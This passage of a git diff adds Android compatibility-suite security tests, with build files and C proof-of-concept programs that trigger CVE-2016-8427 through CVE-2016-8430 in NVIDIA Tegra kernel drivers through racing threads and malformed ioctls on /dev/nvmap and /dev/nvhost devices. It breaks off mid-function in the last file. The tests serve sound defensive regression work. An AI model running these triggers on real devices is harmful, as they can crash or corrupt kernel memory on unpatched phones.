+out_dev:
+	close(fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk
new file mode 100644
index 0000000..131f240
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8427
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8427/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8427/poc.c
new file mode 100644
index 0000000..0c54420
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8427/poc.c
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/syscall.h>
+#include <string.h>
+#include <stdint.h>
+#include <pthread.h>
+#include <linux/ion.h>
+
+#define NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL 0xc0084401ul
+
+
+int fd_gpu;
+int fd_dbg;
+int fd_dbg_1;
+
+void *thr(void *arg)
+{
+	int ioarg[2];
+	switch ((long)arg) {
+	case 0:
+		fd_dbg = open("/dev/nvhost-dbg-gpu",0x0ul,0x101000ul);
+		break;
+	case 1:
+		fd_dbg_1 = dup3(fd_dbg, fd_dbg,0x80000ul);
+		break;
+	case 2:
+		ioarg[0] = fd_dbg_1;
+		ioarg[1] = 0; 
+		ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg, 0, 0, 0);
+		break;
+	case 3:
+		fd_gpu = open("/dev/nvhost-gpu",0x0ul,0x2000ul);
+		break;
+	case 4:
+		ioarg[0] = fd_gpu;
+		ioarg[1] = 0;
+		ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg);
+		break;
+	case 5:
+		ioarg[0] = fd_gpu;
+		ioarg[1] = 0; 
+		ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg);
+		break;
+	}
+	return 0;
+}
+int poc()
+{
+	long i;
+	pthread_t th;
+	for (i = 0; i < 6; i++) {
+		pthread_create(&th, 0, thr, (void*)i);
+		usleep(10000);
+	}
+	for (i = 0; i < 6; i++) {
+		pthread_create(&th, 0, thr, (void*)i);
+		if (i%2==0)
+			usleep(10000);
+	}
+	usleep(100000);
+	return 0;
+}
+
+
+int main(int argc, char const *argv[])
+{
+	int pid;
+	while(1){
+		pid = fork();
+		if(pid){
+			usleep(30000);
+		}else
+			return poc();
+	}
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk
new file mode 100644
index 0000000..21326f9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8428
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8428/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8428/poc.c
new file mode 100644
index 0000000..b65b16c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8428/poc.c
@@ -0,0 +1,213 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>  
+#include <unistd.h> 
+#include <sched.h>
+
+
+struct nvmap_handle_param {
+	__u32 handle;		/* nvmap handle */
+	__u32 param;		/* size/align/base/heap etc. */
+	unsigned long result;	/* returns requested info*/
+};
+
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+
+struct nvmap_alloc_handle {
+	__u32 handle;		/* nvmap handle */
+	__u32 heap_mask;	/* heaps to allocate from */
+	__u32 flags;		/* wb/wc/uc/iwb etc. */
+	__u32 align;		/* min alignment necessary */
+};
+
+struct nvmap_cache_op_list {
+	__u64 handles;		/* Ptr to u32 type array, holding handles */
+	__u64 offsets;		/* Ptr to u32 type array, holding offsets
+				 * into handle mem */
+	__u64 sizes;		/* Ptr to u32 type array, holindg sizes of memory
+				 * regions within each handle */
+	__u32 nr;		/* Number of handles */
+	__s32 op;		/* wb/wb_inv/inv */
+};
+
+#define NVMAP_IOC_MAGIC 'N'
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
+#define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
+#define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
+#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
+#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+#define NVMAP_IOC_RESERVE _IOW(NVMAP_IOC_MAGIC, 18,	struct nvmap_cache_op_list)
+
+/* common carveout heaps */
+#define NVMAP_HEAP_CARVEOUT_IRAM    (1ul<<29)
+#define NVMAP_HEAP_CARVEOUT_VPR     (1ul<<28)
+#define NVMAP_HEAP_CARVEOUT_TSEC    (1ul<<27)
+#define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
+
+#define NVMAP_HEAP_CARVEOUT_MASK    (NVMAP_HEAP_IOVMM - 1)
+
+/* allocation flags */
+#define NVMAP_HANDLE_UNCACHEABLE     (0x0ul << 0)
+#define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)
+#define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
+#define NVMAP_HANDLE_CACHEABLE       (0x3ul << 0)
+#define NVMAP_HANDLE_CACHE_FLAG      (0x3ul << 0)
+
+#define NVMAP_HANDLE_SECURE          (0x1ul << 2)
+#define NVMAP_HANDLE_KIND_SPECIFIED  (0x1ul << 3)
+#define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
+#define NVMAP_HANDLE_ZEROED_PAGES    (0x1ul << 5)
+#define NVMAP_HANDLE_PHYS_CONTIG     (0x1ul << 6)
+#define NVMAP_HANDLE_CACHE_SYNC      (0x1ul << 7)
+enum {
+	NVMAP_PAGES_UNRESERVE = 0,
+	NVMAP_PAGES_RESERVE
+};
+int g_fd = -1;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+struct nvmap_create_handle* g_allocation = NULL;
+struct nvmap_alloc_handle g_real_alloc = {0};
+struct nvmap_cache_op_list g_op_list = {0};
+#define MAX_HANDLE_NUM (1000)
+int g_handles_for_free[MAX_HANDLE_NUM] = {-1};
+int g_handles_for_alloc[MAX_HANDLE_NUM] = {-1};
+
+int open_driver() {
+    char* dev_path = "/dev/nvmap";
+    g_fd = open(dev_path, O_RDWR);
+    if (g_fd < 0) {
+        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
+    } else {
+        printf("[*] open file(%s) succ!\n", dev_path);
+    }
+    return g_fd;
+}
+
+int trigger_nvmap_create() {
+    g_allocation->handle = -1;
+    ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
+    printf("[*] NVMAP_IOC_CREATE, last error = %d\n", errno);
+    return g_allocation->handle;
+}
+
+void trigger_nvmap_alloc(int handle) {
+    g_real_alloc.handle = handle;
+    ioctl(g_fd, NVMAP_IOC_ALLOC, &g_real_alloc);
+    printf("[*] NVMAP_IOC_ALLOC, last error = %d\n", errno);
+}
+
+void trigger_nvmap_free(int handle) {
+    ioctl(g_fd, NVMAP_IOC_FREE, handle);
+    printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+    printf("[*] setpriority(%d) errno = %d\n", privi, errno);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+        printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
+    }
+}
+
+void prepare_data() {
+    int i;
+    void* data = calloc(1, 0x1000);
+    
+    g_allocation = (struct nvmap_create_handle*)data;
+    g_allocation->size = 0x40;
+    
+    g_real_alloc.align = 0x40;
+    g_real_alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
+    g_real_alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
+    
+    g_op_list.handles = (__u64)(&g_handles_for_alloc[0]);
+    g_op_list.offsets = (__u64)calloc(1, MAX_HANDLE_NUM * 4);
+    g_op_list.sizes = (__u64)malloc(MAX_HANDLE_NUM * 4);
+    for (i = 0; i < MAX_HANDLE_NUM; ++i) {
+        ((int*)(g_op_list.sizes))[i] = 0xFFFF0000;
+    }
+    g_op_list.nr = MAX_HANDLE_NUM;
+    g_op_list.op = NVMAP_PAGES_RESERVE;
+}
+
+
+void create_handles() {
+    int i;
+    
+    for (i = 0; i < MAX_HANDLE_NUM; ++i) {
+        g_handles_for_alloc[i] = trigger_nvmap_create();
+    }
+
+}
+
+
+void trigger_rw_handle(int handle) {
+    ioctl(g_fd, NVMAP_IOC_RESERVE, &g_op_list);
+    printf("[*] NVMAP_IOC_RESERVE errno = %d\n", errno);
+}
+
+int main(int argc, char**argv) {
+    int i;
+    
+    if (open_driver() < 0) {
+        return -1;
+    }
+    
+    prepare_data();
+    create_handles();
+    
+    for (i = 0; i < MAX_HANDLE_NUM; ++i) {
+        trigger_nvmap_alloc(g_handles_for_alloc[i]);
+    }
+    
+    printf("[*] Begin to trigger bug....\n");
+    sleep(1);
+    
+    
+    for (i = 0; i < MAX_HANDLE_NUM; ++i) {
+        trigger_rw_handle(g_handles_for_alloc[i]);
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk
new file mode 100644
index 0000000..bfe8718
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8429
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8429/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8429/poc.c
new file mode 100644
index 0000000..293f617
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8429/poc.c
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>  
+#include <unistd.h> 
+#include <sched.h>
+
+#define NVMAP_HEAP_CARVEOUT_IRAM    (1ul<<29)
+#define NVMAP_HEAP_CARVEOUT_VPR     (1ul<<28)
+#define NVMAP_HEAP_CARVEOUT_TSEC    (1ul<<27)
+#define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
+
+#define NVMAP_HEAP_CARVEOUT_MASK    (NVMAP_HEAP_IOVMM - 1)
+
+/* allocation flags */
+#define NVMAP_HANDLE_UNCACHEABLE     (0x0ul << 0)
+#define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)
+#define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
+#define NVMAP_HANDLE_CACHEABLE       (0x3ul << 0)
+#define NVMAP_HANDLE_CACHE_FLAG      (0x3ul << 0)
+
+#define NVMAP_HANDLE_SECURE          (0x1ul << 2)
+#define NVMAP_HANDLE_KIND_SPECIFIED  (0x1ul << 3)
+#define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
+#define NVMAP_HANDLE_ZEROED_PAGES    (0x1ul << 5)
+#define NVMAP_HANDLE_PHYS_CONTIG     (0x1ul << 6)
+#define NVMAP_HANDLE_CACHE_SYNC      (0x1ul << 7)
+
+struct nvmap_handle_param {
+	__u32 handle;		/* nvmap handle */
+	__u32 param;		/* size/align/base/heap etc. */
+	unsigned long result;	/* returns requested info*/
+};
+
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+
+struct nvmap_alloc_handle {
+	__u32 handle;		/* nvmap handle */
+	__u32 heap_mask;	/* heaps to allocate from */
+	__u32 flags;		/* wb/wc/uc/iwb etc. */
+	__u32 align;		/* min alignment necessary */
+};
+
+#define NVMAP_IOC_MAGIC 'N'
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
+#define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
+#define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
+#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
+#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+#define NVMAP_IOC_FROM_FD _IOWR(NVMAP_IOC_MAGIC, 16, struct nvmap_create_handle)
+int g_fd = -1;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+struct nvmap_create_handle* g_allocation = NULL;
+struct nvmap_create_handle g_allocation_dup;
+
+int open_driver() {
+    char* dev_path = "/dev/nvmap";
+    g_fd = open(dev_path, O_RDWR);
+    if (g_fd < 0) {
+        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
+    } else {
+        printf("[*] open file(%s) succ!\n", dev_path);
+    }
+    return g_fd;
+}
+
+void trigger_nvmap_create() {
+    ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
+}
+
+void trigger_nvmap_create_dup(int fd) {
+    g_allocation_dup.fd = fd;
+    ioctl(g_fd, NVMAP_IOC_FROM_FD, &g_allocation_dup);
+}
+
+void trigger_nvmap_alloc() {
+    struct nvmap_alloc_handle alloc = {0};
+    alloc.align = 0x1000;
+    alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
+    alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
+    alloc.handle = g_allocation->handle;
+    ioctl(g_fd, NVMAP_IOC_ALLOC, &alloc);
+}
+
+void trigger_nvmap_free(int fd) {
+    ioctl(g_fd, NVMAP_IOC_FREE, fd);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+    }
+}
+
+void prepare_data() {
+    void* data = (void *) memalign(0x1000, 4 * 0x1000);
+    //void* data = malloc(0x10000);
+    printf("[*] data = %p\n", data);
+    g_allocation = (struct nvmap_create_handle*)data;
+    g_allocation->size = 1024;
+    g_allocation->handle = -1;
+    mprotect(data, 0x1000, PROT_READ);
+    printf("[*] mprotect, error = %d\n", errno);
+}
+
+void* race_thread(void* arg) {
+    setup_privi_and_affinity(-10, 2);
+    
+    pthread_mutex_lock(&mutex);
+    pthread_cond_wait(&cond, &mutex);
+    pthread_mutex_unlock(&mutex);
+    
+    while (1)
+        close(1024);
+}
+
+int main(int argc, char**argv) {
+    
+    setup_privi_and_affinity(-10, 1);
+    
+    if (open_driver() < 0) {
+        return -1;
+    }
+    prepare_data();
+    
+    pthread_t tid;
+    pthread_create(&tid, NULL, race_thread, NULL);
+    usleep(100 * 1000);
+    
+    pthread_cond_signal(&cond);
+    usleep(20);
+    while (1) {
+        trigger_nvmap_create();
+    }
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk
new file mode 100644
index 0000000..839047b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8430
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c
new file mode 100644
index 0000000..0717d0b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c
@@ -0,0 +1,204 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+#include <stdlib.h>
+
+struct nvhost_channel_open_args {
+	__s32 channel_fd;
+};
+struct nvhost_set_error_notifier {
+	__u64 offset;
+	__u64 size;
+	__u32 mem;
+	__u32 padding;
+};
+#define NVHOST_IOCTL_MAGIC 'H'
+#define NVHOST_IOCTL_CHANNEL_OPEN	\
+	_IOR(NVHOST_IOCTL_MAGIC,  112, struct nvhost_channel_open_args)
+#define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER  \
+	_IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+struct nvmap_alloc_handle {
+	__u32 handle;		/* nvmap handle */
+	__u32 heap_mask;	/* heaps to allocate from */
+	__u32 flags;		/* wb/wc/uc/iwb etc. */
+	__u32 align;		/* min alignment necessary */
+};
+#define NVMAP_HEAP_CARVEOUT_IRAM    (1ul<<29)
+#define NVMAP_HEAP_CARVEOUT_VPR     (1ul<<28)
+#define NVMAP_HEAP_CARVEOUT_TSEC    (1ul<<27)
+#define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
+
+#define NVMAP_HEAP_CARVEOUT_MASK    (NVMAP_HEAP_IOVMM - 1)
+
+/* allocation flags */
+#define NVMAP_HANDLE_UNCACHEABLE     (0x0ul << 0)
+#define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)
+#define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
+#define NVMAP_HANDLE_CACHEABLE       (0x3ul << 0)
+#define NVMAP_HANDLE_CACHE_FLAG      (0x3ul << 0)
+
+#define NVMAP_HANDLE_SECURE          (0x1ul << 2)
+#define NVMAP_HANDLE_KIND_SPECIFIED  (0x1ul << 3)
+#define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
+#define NVMAP_HANDLE_ZEROED_PAGES    (0x1ul << 5)
+#define NVMAP_HANDLE_PHYS_CONTIG     (0x1ul << 6)
+#define NVMAP_HANDLE_CACHE_SYNC      (0x1ul << 7)
+#define NVMAP_IOC_MAGIC 'N'
+
+/* Creates a new memory handle. On input, the argument is the size of the new
+ * handle; on return, the argument is the name of the new handle
+ */
+ #define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
+int g_fd = -1;
+int g_nvmap_fd = -1;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+int g_channel_fd = -1;
+struct nvhost_set_error_notifier g_error_notifier;
+struct nvmap_create_handle g_nvmap_hdl;
+
+struct nvmap_alloc_handle g_real_alloc = {0};
+
+int open_driver() {
+    char* dev_path = "/dev/nvhost-vic";
+    g_fd = open(dev_path, O_RDONLY);
+    if (g_fd < 0) {
+        printf("open file(%s) failed, errno=%d\n", dev_path, errno);
+        return -1;
+    } else {
+        printf("open file(%s) succ!\n", dev_path);
+    }
+
+    dev_path = "/dev/nvmap";
+    g_nvmap_fd = open(dev_path, O_RDONLY);
+    if (g_nvmap_fd < 0) {
+        printf("open file(%s) failed, errno=%d\n", dev_path, errno);
+        return -1;
+    } else {
+        printf("open file(%s) succ!\n", dev_path);
+    }
+    return 1;
+}
+
+void trigger_channel_open() {
+    struct nvhost_channel_open_args args = {-1};
+    ioctl(g_fd, NVHOST_IOCTL_CHANNEL_OPEN, &args);
+    g_channel_fd = args.channel_fd;
+}
+
+int trigger_nvmap_create() {
+    g_nvmap_hdl.size = 0x1000;
+    ioctl(g_nvmap_fd, NVMAP_IOC_CREATE, &g_nvmap_hdl);
+    return g_nvmap_hdl.handle;
+}
+
+void trigger_nvmap_free() {
+    int data = g_nvmap_hdl.handle;
+    ioctl(g_nvmap_fd, NVMAP_IOC_FREE, data);
+}
+void trigger_nvmap_alloc(int handle) {
+    g_real_alloc.align = 0x1000;
+    g_real_alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
